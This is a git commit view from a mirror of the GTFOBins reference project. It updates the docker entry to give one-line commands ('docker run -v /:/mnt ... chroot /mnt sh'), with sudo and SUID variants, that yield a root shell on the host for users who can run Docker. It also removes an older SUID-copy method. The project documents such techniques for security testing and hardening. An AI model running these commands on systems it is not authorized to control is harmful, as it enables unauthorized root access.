public-mirrors/GTFOBins.github.io
1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io synced 2024-12-25 22:40:10 +01:00
Code Issues Projects Releases Wiki Activity

Simplify the docker example by using chroot

Browse Source 
Also make it available for non-root users.

The previous SUID example had the problem that the loaders between host and
containers must match, for example, copying `sh` from alpine to debian doesn't
directly work.
This commit is contained in:
Andrea Cardaci 2019-07-02 14:55:40 +02:00
parent f4a3fc9af3
commit 40ecb11b2e
1 changed files with 8 additions and 7 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

15
_gtfobins/docker.md
View File

@ -1,13 +1,14 @@
--- ---
description: | description: |
Exploit the fact that Docker runs as root to create a SUID binary on the host using a container. This requires the user to be privileged enough to run docker, e.g. being in the `docker` group. Any other Docker Linux image should work, e.g., `debian`. This requires the user to be privileged enough to run docker, i.e. being in the `docker` group or being `root`.
functions: functions:
shell:
- description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh
sudo: sudo:
- code: | - description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
sudo docker run --rm -v /home/$USER:/h_docs ubuntu \ code: sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh
sh -c 'cp /bin/sh /h_docs/ && chmod +s /h_docs/sh' && ~/sh -p
suid: suid:
- code: | - description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
./docker run --rm -v /home/$USER:/h_docs ubuntu \ code: ./docker run -v /:/mnt --rm -it alpine chroot /mnt sh
sh -c 'cp /bin/sh /h_docs/ && chmod +s /h_docs/sh' && ~/sh -p
--- ---